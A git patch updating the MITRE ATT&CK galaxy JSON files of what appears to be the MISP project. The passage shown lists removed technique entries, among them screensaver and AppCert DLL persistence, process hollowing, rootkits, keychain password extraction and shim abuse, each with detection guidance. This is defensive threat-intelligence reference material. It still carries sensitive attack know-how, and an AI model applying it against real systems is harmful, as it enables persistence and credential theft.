From 730353f63d9fd07cf6166689a09d8e42f1f0c03a Mon Sep 17 00:00:00 2001 From: Deborah Servili Date: Sat, 19 May 2018 12:56:20 +0200 Subject: [PATCH] update mitre galaxies - add external id and killchain --- ...itre-enterprise-attack-attack-pattern.json | 9628 ++++++++++------- ...re-enterprise-attack-course-of-action.json | 2659 +++-- ...mitre-enterprise-attack-intrusion-set.json | 2149 ++-- clusters/mitre-enterprise-attack-malware.json | 5275 +++++---- clusters/mitre-enterprise-attack-tool.json | 1240 ++- .../mitre-mobile-attack-attack-pattern.json | 2752 ++--- .../mitre-mobile-attack-course-of-action.json | 206 +- .../mitre-mobile-attack-intrusion-set.json | 73 +- clusters/mitre-mobile-attack-malware.json | 1055 +- clusters/mitre-mobile-attack-tool.json | 53 +- clusters/mitre-pre-attack-attack-pattern.json | 4190 ++++--- clusters/mitre-pre-attack-intrusion-set.json | 271 +- ...itre-enterprise-attack-attack-pattern.json | 14 +- ...re-enterprise-attack-course-of-action.json | 14 +- ...mitre-enterprise-attack-intrusion-set.json | 14 +- galaxies/mitre-enterprise-attack-malware.json | 14 +- galaxies/mitre-enterprise-attack-tool.json | 14 +- .../mitre-mobile-attack-attack-pattern.json | 14 +- .../mitre-mobile-attack-course-of-action.json | 14 +- .../mitre-mobile-attack-intrusion-set.json | 14 +- galaxies/mitre-mobile-attack-malware.json | 14 +- galaxies/mitre-mobile-attack-tool.json | 14 +- galaxies/mitre-pre-attack-attack-pattern.json | 14 +- galaxies/mitre-pre-attack-intrusion-set.json | 14 +- ...enterprise-attack-attack-pattern_galaxy.py | 3 + ...-enterprise-attack-intrusion-set_galaxy.py | 8 +- ...tre-mobile-attack-attack-pattern_galaxy.py | 3 + ..._mitre-pre-attack-attack-pattern_galaxy.py | 3 + 28 files changed, 17224 insertions(+), 12512 deletions(-) diff --git a/clusters/mitre-enterprise-attack-attack-pattern.json b/clusters/mitre-enterprise-attack-attack-pattern.json index c710c4b..f1ce9e2 100644 --- a/clusters/mitre-enterprise-attack-attack-pattern.json +++ b/clusters/mitre-enterprise-attack-attack-pattern.json @@ -1,3971 +1,5659 @@ { - "name": "Enterprise Attack - Attack Pattern", - "type": "mitre-enterprise-attack-attack-pattern", - "description": "ATT&CK tactic", - "version": 3, - "source": "https://github.com/mitre/cti", - "uuid": "fb2242d8-1707-11e8-ab20-6fa7448c3640", - "authors": [ - "MITRE" - ], - "values": [ - { - "description": "Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: User interface, Process monitoring, Process use of network, Packet capture, Netflow/Enclave netflow, Network protocol analysis\n\nRequires Network: Yes", - "value": "Exfiltration Over Alternative Protocol - T1048", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1048", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "mitre_data_sources": [ - "User interface", - "Process monitoring", - "Process use of network", - "Packet capture", - "Netflow/Enclave netflow", - "Network protocol analysis" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776" - }, - { - "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes", - "value": "Standard Application Layer Protocol - T1071", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1071", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Process use of network", - "Malware reverse engineering", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6" - }, - { - "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media is mounted.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Data loss prevention\n\nRequires Network: No", - "value": "Communication Through Removable Media - T1092", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1092" - ], - "mitre_data_sources": [ - "File monitoring", - "Data loss prevention" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "64196062-5210-42c3-9a02-563a0d1797ef" - }, - { - "description": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. (Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.exe is located in C:\\Windows\\System32\\ along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n*SCRNSAVE.exe - set to malicious PE path\n*ScreenSaveActive - set to '1' to enable the screensaver\n*ScreenSaverIsSecure - set to '0' to not require a password to unlock\n*ScreenSaverTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)\n\nDetection: Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Windows Registry, File monitoring\n\nPermissions Required: User\n\nContributors: Bartosz Jerzman", - "value": "Screensaver - T1180", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1180", - "https://en.wikipedia.org/wiki/Screensaver", - "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" - ], - "mitre_data_sources": [ - "Process Monitoring", - "Process command-line parameters", - "Windows Registry", - "File monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "2892b9ee-ca9f-4723-b332-0dc6e843a8ae" - }, - { - "description": "Adversaries may communicate using a custom command and control protocol instead of using existing Standard Application Layer Protocol to encapsulate commands. Implementations could mimic well-known protocols.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes", - "value": "Custom Command and Control Protocol - T1094", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1094", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Process use of network", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00" - }, - { - "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n===Services===\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n===Executable Installers===\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)\n\nDetection: Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Services\n\nEffective Permissions: User, Administrator, SYSTEM\n\nPermissions Required: User, Administrator\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire", - "value": "File System Permissions Weakness - T1044", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1044", - "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/", - "http://seclists.org/fulldisclosure/2015/Dec/34" - ], - "mitre_data_sources": [ - "File monitoring", - "Process command-line parameters", - "Services" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "0ca7beef-9bbc-4e35-97cf-437384ddce6a" - }, - { - "description": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to Process Injection, execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Engame Process Injection July 2017)\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, API monitoring\n\nDefense Bypassed: Process whitelisting, Anti-virus, Whitelisting by file name or path, Signature-based detection\n\nPermissions Required: User", - "value": "Process Hollowing - T1093", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1093", - "http://www.autosectools.com/process-hollowing.pdf", - "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" - ], - "mitre_data_sources": [ - "Process monitoring", - "API monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21" - }, - { - "description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. (Citation: Metasploit) (Citation: Metasploit), (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)\n\nDetection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process monitoring, File monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting", - "value": "Scripting - T1064", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1064", - "http://www.metasploit.com", - "https://www.veil-framework.com/framework/", - "https://github.com/mattifestation/PowerSploit", - "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" - ], - "mitre_data_sources": [ - "Process monitoring", - "File monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "7fd87010-3a00-4da3-b905-410525e8ec44" - }, - { - "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command lie via osascript /path/to/script or osascript -e \"script here\".\n\nDetection: Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.\n\nPlatforms: macOS\n\nData Sources: API monitoring, System calls, Process Monitoring, Process command-line parameters\n\nPermissions Required: User\n\nRemote Support: Yes", - "value": "AppleScript - T1155", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1155", - "https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/" - ], - "mitre_data_sources": [ - "API monitoring", - "System calls", - "Process Monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "macOS" - ] - }, - "uuid": "5ad95aaa-49c1-4784-821d-2e83f47b079b" - }, - { - "description": "Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration.\n\nAdversaries may search connected removable media on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information. Some adversaries may also use Automated Collection on removable media.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access removable media drive and files", - "value": "Data from Removable Media - T1025", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1025" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec" - }, - { - "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.\n\nDetection: Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.\n\nPlatforms: Windows, macOS\n\nData Sources: Binary file metadata\n\nDefense Bypassed: Windows User Account Control", - "value": "Code Signing - T1116", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1116", - "https://en.wikipedia.org/wiki/Code%20signing", - "http://www.thesafemac.com/new-signed-malware-called-janicab/", - "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/", - "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates" - ], - "mitre_data_sources": [ - "Binary file metadata" - ], - "mitre_platforms": [ - "Windows", - "macOS" - ] - }, - "uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d" - }, - { - "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager are loaded into every process that calls the ubiquitously used application programming interface (API) functions: (Citation: Engame Process Injection July 2017)\n*CreateProcess\n*CreateProcessAsUser\n*CreateProcessWithLoginW\n*CreateProcessWithTokenW\n*WinExec\nSimilar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.\n\nDetection: Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process Monitoring, Windows Registry\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator, SYSTEM", - "value": "AppCert DLLs - T1182", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1182", - "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "https://forum.sysinternals.com/appcertdlls%20topic12546.html" - ], - "mitre_data_sources": [ - "Loaded DLLs", - "Process Monitoring", - "Windows Registry" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "4bf5845d-a814-4490-bc5c-ccdee6043025" - }, - { - "description": "Rootkits are programs that hide the existence of malware by intercepting (i.e., Hooking) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware. (Citation: Wikipedia Rootkit)\n\nAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)\n\nDetection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: BIOS, MBR, System calls\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Process whitelisting, Signature-based detection, System access controls, Whitelisting by file name or path\n\nPermissions Required: Administrator, SYSTEM, root", - "value": "Rootkit - T1014", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1014", - "https://en.wikipedia.org/wiki/Rootkit", - "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf", - "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/", - "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf" - ], - "mitre_data_sources": [ - "BIOS", - "MBR", - "System calls" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b" - }, - { - "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's ~/Library/Preferences/ directory in a plist file called com.apple.loginitems.plist (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware).\n\nDetection: All the login items are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area should be monitored and whitelisted for known good applications. Monitor process execution resulting from login actions for unusual or unknown applications.\n\nPlatforms: macOS\n\nPermissions Required: User", - "value": "Login Item - T1162", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1162", - "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf", - "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" - ], - "mitre_platforms": [ - "macOS" - ] - }, - "uuid": "36675cd3-fe00-454c-8516-aebecacbe9d9" - }, - { - "description": "Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is cmd, which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task).\n\nAdversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.\n\nDetection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: No", - "value": "Command-Line Interface - T1059", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1059", - "https://en.wikipedia.org/wiki/Command-line%20interface" - ], - "mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ] - }, - "uuid": "7385dfaf-6886-4229-9ecd-6fd678040830" - }, - { - "description": "Data exfiltration is performed over the Command and Control channel. Data is encoded into the normal communications channel using the same protocol as command and control communications.\n\nDetection: Detection for command and control applies. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: User interface, Process monitoring\n\nRequires Network: Yes", - "value": "Exfiltration Over Command and Control Channel - T1041", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1041", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "mitre_data_sources": [ - "User interface", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "92d7da27-2d91-488e-a00c-059dc162766d" - }, - { - "description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Network device logs, Network protocol analysis, Packet capture, Process use of network\n\nRequires Network: Yes", - "value": "Multi-Stage Channels - T1104", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1104" - ], - "mitre_data_sources": [ - "Netflow/Enclave netflow", - "Network device logs", - "Network protocol analysis", - "Packet capture", - "Process use of network" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "84e02621-8fdf-470f-bd58-993bb6a89d91" - }, - { - "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)\n\nPlatforms: macOS\n\nData Sources: Process Monitoring\n\nPermissions Required: root", - "value": "Securityd Memory - T1167", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1167", - "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain", - "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", - "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" - ], - "mitre_data_sources": [ - "Process Monitoring" - ], - "mitre_platforms": [ - "macOS" - ] - }, - "uuid": "2715c335-1bf2-4efe-9f18-0691317ff83b" - }, - { - "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow backward compatibility of programs as Windows updates and changes its code. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Engame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses Hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to Hooking, utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.\n\nDetection: There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters\n\nPermissions Required: Administrator", - "value": "Application Shimming - T1138", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1138", - "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf", - "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" - ], - "mitre_data_sources": [ - "Loaded DLLs", - "System calls", - "Windows Registry", - "Process Monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": 